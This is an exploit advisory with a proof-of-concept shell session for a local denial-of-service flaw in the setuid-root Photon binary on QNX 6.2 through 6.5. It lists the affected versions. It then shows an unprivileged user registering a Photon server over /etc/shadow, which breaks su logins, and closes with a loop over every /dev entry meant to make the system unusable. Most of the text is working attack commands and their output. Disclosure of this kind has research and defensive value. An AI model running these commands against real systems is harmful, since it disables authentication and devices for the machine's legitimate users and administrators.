#
#       QNX 6.x Photon denial of service vulnerability by cenobyte 2013
#                         <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# QNX setuid root /usr/photon/bin/Photon allows users to create new servers with
# arbitrary filenames registered with the -N parameter.
# Photon does not check whether files exist and/or the owner of the ile is the
# same as the user. Thus any user can create a new server with a filename such
# as /etc/shadow resulting in a denial of service attack.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1
# QNX 6.3.0
# QNX 6.2.0

$ id
uid=100(user) gid=100
$ /usr/photon/bin/Photon -N /etc/shadow
$ su -
su error: Password and Shadow files on different devices
$ ps -edaf | grep Photon
  100  4524851  4520182 - Oct26 ? 00:00:00 /usr/photon/bin/Photon -N /etc/shadow
$ kill -9 4524851
$ su -
password:
Sat Oct 26 13:22:38 2013 on /dev/ttyp1
Last login: Sat Oct 26 02:43:08 2013 on /dev/ttyp1
edit the file .profile if you want to change your environment.
To start the Photon windowing environment, type "ph".

# If you want to make the system unusable:
$ for x in $(ls /dev); do /usr/photon/bin/Photon -N "/dev/$x"; done